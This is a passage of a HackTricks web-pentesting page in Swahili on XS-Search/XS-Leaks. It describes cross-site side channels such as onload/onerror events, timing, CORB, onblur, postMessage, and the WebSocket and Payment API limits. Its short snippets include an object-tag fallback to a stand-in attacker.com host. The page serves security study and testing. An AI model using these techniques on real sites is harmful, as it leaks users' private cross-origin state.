hacktricks/pentesting-web/xs-search.md

937 lines
82 KiB
Markdown
Raw Normal View History

2022-10-11 23:16:53 +00:00
# XS-Search/XS-Leaks
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 02:13:58 +00:00
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2022-06-27 23:34:20 +00:00
XS-Search ni njia inayotumika kwa **kuchimba taarifa za msalaba-mwanzo** kwa kutumia **mapungufu ya njia ya pembeni**.
2022-06-27 23:34:20 +00:00
Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na:
2022-06-27 23:34:20 +00:00
* **Tovuti Isiyolindwa**: Tovuti ya lengo ambayo taarifa inakusudiwa kuchimbuliwa.
* **Tovuti ya Mshambuliaji**: Tovuti ya madhara iliyoanzishwa na mshambuliaji, ambayo muathiriwa anatembelea, ikimiliki shambulio.
* **Mbinu ya Kuingiza**: Mbinu inayotumiwa kuingiza Tovuti Isiyolindwa katika Tovuti ya Mshambuliaji (k.m., window.open, iframe, fetch, tag ya HTML na href, n.k.).
* **Mbinu ya Kuvuja**: Mbinu zinazotumika kutambua tofauti katika hali ya Tovuti Isiyolindwa kulingana na taarifa iliyokusanywa kupitia mbinu ya kuingiza.
* **Hali**: Hali mbili za uwezekano wa Tovuti Isiyolindwa, ambazo mshambuliaji analenga kutofautisha.
* **Tofauti Zinazoweza Kugundulika**: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea kufikiria hali ya Tovuti Isiyolindwa.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Tofauti Zinazoweza Kugundulika
2022-06-27 23:34:20 +00:00
Vipengele kadhaa vinaweza kuchambuliwa kwa kutofautisha hali za Tovuti Isiyolindwa:
2022-06-27 23:34:20 +00:00
* **Msimbo wa Hali**: Kutofautisha kati ya **mimbo mbalimbali ya hali ya majibu ya HTTP** za msalaba-mwanzo, kama makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji.
* **Matumizi ya API**: Kutambua **matumizi ya API za Wavuti** kwenye kurasa, kufunua ikiwa ukurasa wa msalaba-mwanzo unatumia API maalum ya JavaScript ya Wavuti.
* **Uelekezaji**: Kugundua mabadiliko kwenye kurasa tofauti, si tu mwelekeo wa HTTP lakini pia wale wanaosababishwa na JavaScript au HTML.
* **Yaliyomo kwenye Ukurasa**: Kuchunguza **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali za kurasa, kama **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
* **Kichwa cha HTTP**: Kuzingatia uwepo au labda thamani ya **kichwa maalum cha majibu ya HTTP**, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
* **Muda**: Kugundua tofauti za muda thabiti kati ya hali mbili.
2022-06-27 23:34:20 +00:00
### Mbinu za Kuingiza
2022-06-27 23:34:20 +00:00
* **Vipengele vya HTML**: HTML inatoa vipengele mbalimbali kwa **kuingiza rasilimali za msalaba-mwanzo**, kama vile maandishi ya mtindo, picha, au hati, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Orodha ya vipengele vya HTML vinavyowezekana kwa kusudi hili inaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Fremu**: Vipengele kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **haujamilindwa na fremu**, JavaScript inaweza kupata upatikanaji wa mali ya fremu iliyoframewa kupitia mali ya contentWindow.
* **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali kwenye kichupo kipya au dirisha, ikitoa **kushughulikia dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumika katika kuingia moja, hupuuza ulinzi wa fremu na vizuizi vya vidakuzi vya rasilimali ya lengo. Walakini, vivinjari vya kisasa vinazuia uundaji wa pop-up kwa hatua fulani za mtumiaji.
* **Maombi ya JavaScript**: JavaScript inaruhusu maombi moja kwa moja kwa rasilimali za lengo kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi hutoa udhibiti sahihi juu ya ombi, kama kuchagua kufuata mwelekeo wa HTTP.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Mbinu za Kuvuja
2022-06-27 23:34:20 +00:00
* **Mfumo wa Tukio**: Mbinu ya kuvuja ya kawaida katika XS-Leaks, ambapo wachakataji wa matukio kama **onload** na **onerror** hutoa ufahamu kuhusu mafanikio au kushindwa kwa kupakia rasilimali.
* **Ujumbe wa Makosa**: Mifano ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa ya kuvuja moja kwa moja kutoka kwa ujumbe wa makosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo kwake.
* **Vikwazo vya Kimataifa**: Vikwazo vya kimwili vya kivinjari, kama uwezo wa kumbukumbu au vikwazo vingine vilivyowekwa na kivinjari, vinaweza kuashiria wakati kizingiti kinapofikiwa, kutumika kama mbinu ya kuvuja.
* **Hali ya Kimataifa**: Mwingiliano unaoonekana na **hali za kimataifa za vivinjari** (k.m., kiolesura cha Historia) unaweza kutumiwa. Kwa mfano, **idadi ya vipengele** katika historia ya kivinjari inaweza kutoa viashiria kuhusu kurasa za msalaba.
* **API ya Utendaji**: API hii hutoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, kuruhusu uchambuzi kuhusu rasilimali zilizoombwa.
* **Mali za Kusomwa**: Baadhi ya sifa za HTML ni **soma kwa msalaba-mwanzo** na zinaweza kutumika kama mbinu ya kuvuja. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa kwenye ukurasa wa msalaba.
2022-06-27 23:34:20 +00:00
## Zana ya XSinator & Karatasi
2022-06-28 15:48:43 +00:00
XSinator ni zana ya moja kwa moja ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoainishwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Unaweza **kupata zana hiyo kwenye** [**https://xsinator.com/**](https://xsinator.com/)
{% hint style="warning" %}
**XS-Leaks Zilizotengwa**: Tulilazimika kutenga XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani wangeweza kuingilia kati na uvujaji mwingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea mipangilio isiyofaa na kasoro katika programu-jalizi ya wavuti maalum**. Kwa mfano, mipangilio isiyofaa ya Kushirikiana Rasilimali (CORS), uvujaji wa ujumbe wa postMessage au Udukuzi wa Kuvuka-Tovuti. Aidha, tulitenga XS-Leaks zinazotegemea wakati kwani mara nyingi hupata ugumu wa kuwa polepole, kelele, na kutokuwa sahihi.
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** zinazotumia zana za **jamii ya juu zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Mbinu za Teknolojia za Muda**
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
**Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu watengenezaji kupata vipimo vya muda vya azimio kubwa.\
Kuna idadi kubwa ya APIs ambazo wadukuzi wanaweza kutumia vibaya kujenga saa za kimya: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), michoro ya CSS, na zingine.\
2024-02-11 02:13:58 +00:00
Kwa habari zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
2022-06-28 15:48:43 +00:00
## Mbinu za Msimamizi wa Matukio
2022-06-27 23:34:20 +00:00
2022-06-28 12:20:37 +00:00
### Onload/Onerror
2022-06-27 23:34:20 +00:00
* **Njia za Kuingiza**: Fremu, Elementi za HTML
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali
* **Maelezo Zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Muhtasari**: ikiwa jaribio la kupakia rasilimali linapotokea kosa/kupakia matukio yanahusishwa na rasilimali kupakiwa kwa mafanikio/kwa kushindwa, inawezekana kugundua msimbo wa hali.
* **Mfano wa Msimbo**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
2022-06-27 23:34:20 +00:00
2023-01-02 23:15:01 +00:00
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}
Mfano wa msimbo unajaribu **kupakia vitu vya skripti kutoka JS**, lakini **vitambulisho vingine** kama vitu, maandishi ya mtindo, picha, sauti pia vinaweza kutumika. Zaidi ya hayo, pia inawezekana kuingiza **lebo moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya lebo (badala ya kuingiza kutoka JS).
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
Pia kuna toleo lisilo na skripti la shambulio hili:
2022-06-27 23:34:20 +00:00
```html
<object data="//example.com/404">
2024-02-11 02:13:58 +00:00
<object data="//attacker.com/?error"></object>
2022-06-27 23:34:20 +00:00
</object>
```
Katika kesi hii ikiwa `example.com/404` haipatikani `attacker.com/?error` itapakia.
2022-06-27 23:34:20 +00:00
### Wakati wa Kupakia
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: Vitu vya HTML
* **Tofauti Inayoweza Kugundulika**: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Muhtasari:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima muda gani unachukua kufanya ombi. Hata hivyo, saa nyingine zingine zinaweza kutumika, kama vile [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kutambua kazi zinazoendelea kwa zaidi ya 50ms.
* **Mfano wa Msimbo**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) mfano mwingine katika:
2023-01-02 14:57:39 +00:00
{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
#### Wakati wa Kupakia + Kazi Kubwa Iliyolazimishwa
2023-01-02 20:55:19 +00:00
Mbinu hii ni kama ile iliyotangulia, lakini **mshambuliaji** pia atalazimisha hatua fulani ichukue **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo.
2023-01-02 20:55:19 +00:00
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}
### Wakati wa Kutopakia/Kabla ya Kutopakia
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Muhtasari:** [Saa ya SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
* **Mfano wa Msimbo**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
2022-06-28 15:48:43 +00:00
Muda unaochukuliwa kufikia rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). Tukio la **`beforeunload`** hutokea wakati kivinjari kinapojiandaa kuelekea ukurasa mpya, wakati tukio la **`unload`** hutokea wakati uhamisho unafanyika kwa kweli. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa kujua **muda ambao kivinjari kilitumia kufikia rasilimali**.
2022-06-28 15:48:43 +00:00
### Wakati wa Fremu Iliyofungwa + kupakia <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Muhtasari:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
* **Mfano wa Msimbo**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
2024-02-06 03:10:38 +00:00
Imeonekana kwamba bila [Kinga za Fremu](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu kivinjari cha `onload` cha fremu kinachochujwa tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kuepuka mabadiliko yanayoletwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuingiza sifa hii kunazuia utendaji mwingi, hasa utekelezaji wa JavaScript, hivyo kurahisisha kipimo kinachotawaliwa zaidi na utendaji wa mtandao.
2024-02-06 03:10:38 +00:00
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**:
* **Muhtasari**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati yaliyomo sahihi yanafikiwa na kufanya iweze kupakia kwa usahihi wakati yaliyomo yoyote inafikiwa, basi unaweza kufanya mzunguko wa kutoa taarifa zote bila kupima wakati.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-28 15:48:43 +00:00
Fikiria unaweza **kuweka** **ukurasa** wenye **yaliyomo ya siri ndani ya Iframe**.
2022-06-28 15:48:43 +00:00
Unaweza **kufanya mhanga atafute** faili inayoitwa "_**flag**_" kutumia **Iframe** (kwa mfano kwa kutumia CSRF). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litatekelezwa **angalau mara moja daima**. Kisha, unaweza **badilisha** **URL** ya **iframe** lakini kubadilisha tu **yaliyomo** ya **hash** ndani ya URL.
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano:
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
1. **URL1**: www.attacker.com/xssearch#jaribu1
2. **URL2**: www.attacker.com/xssearch#jaribu2
2022-06-28 15:48:43 +00:00
Ikiwa URL ya kwanza ilipakia **kwa mafanikio**, basi, wakati **kubadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakiaji**, basi, tukio la **onload** litazinduliwa **tena**.
2022-06-28 15:48:43 +00:00
Kisha, unaweza **kutofautisha kati ya** ukurasa uliopakiwa **kwa usahihi** au ukurasa ambao una **kosa** wakati unafikiwa.
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
### Utekelezaji wa Javascript
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**:
* **Muhtasari:** Ikiwa **ukurasa** unarudisha **yaliyomo nyeti**, **au** **yaliyomo** ambayo inaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **msimbo wa JS sahihi katika kesi hasi**, na **kila jaribio** kila wakati ndani ya **`<script>`** tags, hivyo katika **kesi hasi** wadukuzi **msimbo** unatekelezwa, na katika **kesi ya kuthibitisha** **kitu** **hakitafanyika**.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2023-01-22 23:19:55 +00:00
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}
2022-06-28 12:20:37 +00:00
### CORB - Onerror
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Vipengele vya HTML
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali & Vichwa vya Habari
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Muhtasari**: **Kizuizi cha Kusoma wa Msalaba-Mwanzo (CORB)** ni hatua ya usalama inayozuia kurasa za wavuti kupakia rasilimali fulani nyeti za msalaba-mwanzo kulinda dhidi ya mashambulizi kama **Spectre**. Walakini, wadukuzi wanaweza kutumia tabia yake ya kinga. Wakati jibu linalostahili **CORB** linarudisha `Content-Type` iliyolindwa na **CORB** pamoja na msimbo wa hali wa `2xx`, **CORB** inaondoa mwili na vichwa vya majibu. Wadukuzi wanaoangalia hii wanaweza kudokeza mchanganyiko wa **msimbo wa hali** (ukiashiria mafanikio au kosa) na `Content-Type` (inayoelezea ikiwa inalindwa na **CORB**), ikiongoza kwa uwezekano wa kuvuja kwa taarifa.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-28 12:20:37 +00:00
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulio.
2022-06-28 12:20:37 +00:00
### onblur
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Muhtasari**: Tolea data nyeti kutoka kwa sifa ya id au jina.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
2022-06-28 12:20:37 +00:00
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **jielekeze kwenye kipengele** cha iframe kilichotajwa, kisha iki **ishara ya `onblur`** inazinduliwa, kipengele cha ID kipo.\
2024-02-11 02:13:58 +00:00
Unaweza kufanya shambulio sawa na vitambulisho vya **`portal`**.
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
### Matangazo ya postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: Fremu, Vipengele vya Pop-up
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Matumizi ya API
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Muhtasari**: Kusanya taarifa nyeti kutoka kwa postMessage au kutumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: `Msimbo wowote unaoisikiliza postMessages zote.`
2022-06-28 15:48:43 +00:00
Programu mara nyingi hutumia [matangazo ya `postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kwa mawasiliano kati ya asili tofauti. Walakini, njia hii inaweza kufichua **taarifa nyeti** isivyojulikana ikiwa parameter ya `targetOrigin` haijatajwa ipasavyo, kuruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kupokea ujumbe kunaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani unaweza kutumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au kutokuwepo kwa ujumbe huu unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameingia au la.
2024-02-06 03:10:38 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-06 03:10:38 +00:00
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu** kwa urahisi zinazotumia zana za jamii za juu zaidi duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Mbinu za Kikomo za Kitaifa
2024-02-06 03:10:38 +00:00
### WebSocket API
2024-02-06 03:10:38 +00:00
* **Njia za Kuingiza**: Fremu, Vipengele vya Pop-up
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Matumizi ya API
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Muhtasari**: Kuchoka kwa kikomo cha uhusiano wa WebSocket kunavuja idadi ya uhusiano wa WebSocket wa ukurasa wa msalaba-mwanzo.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
2022-06-27 23:34:20 +00:00
Inawezekana kutambua ikiwa, na ni ngapi, **uunganisho wa WebSocket** ukurasa wa lengo unatumia. Inaruhusu muhusika kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa **asili** inatumia **idadi kubwa ya vitu vya uhusiano wa WebSocket**, bila kujali hali zao za uhusiano, uumbaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulio hili, tovuti ya muhusika inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya wavuti ya lengo imepakia, inajaribu kuunda idadi kubwa ya uhusiano wa WebSocket inayowezekana. **Idadi ya makosa yaliyorushwa** ni **idadi ya uhusiano wa WebSocket** uliotumiwa na dirisha la wavuti ya lengo.
2024-02-11 02:13:58 +00:00
### API ya Malipo
2022-06-27 23:34:20 +00:00
* **Njia za Kuingiza**: Fremu, Pop-ups
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Matumizi ya API
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Muhtasari**: Gundi Ombi la Malipo kwa sababu moja tu inaweza kuwa hai kwa wakati mmoja.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
2022-06-27 23:34:20 +00:00
XS-Leak hii inawezesha mshambuliaji **kugundua wakati ukurasa wa asili unapoanzisha ombi la malipo**.
2022-06-27 23:34:20 +00:00
Kwa sababu **ombi moja la malipo tu linaweza kuwa hai** kwa wakati mmoja, ikiwa tovuti ya lengo inatumia API ya Ombi la Malipo, **jaribio lolote la ziada la kutumia API hii litashindwa**, na kusababisha **kosa la JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya API ya Malipo**. Ikiwa jaribio moja linasababisha kosa, tovuti ya lengo inaitumia kwa sasa. Mshambuliaji anaweza kuficha majaribio haya ya mara kwa mara kwa kufunga mara moja UI baada ya kuunda.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Kupima Mzunguko wa Tukio <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**:
* **Tofauti Inayoweza Kugundulika**: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Muhtasari:** Pima muda wa utekelezaji wa wavuti kwa kudanganya mzunguko wa tukio la JS lenye wima moja.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-28 15:48:43 +00:00
2022-10-12 19:31:39 +00:00
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
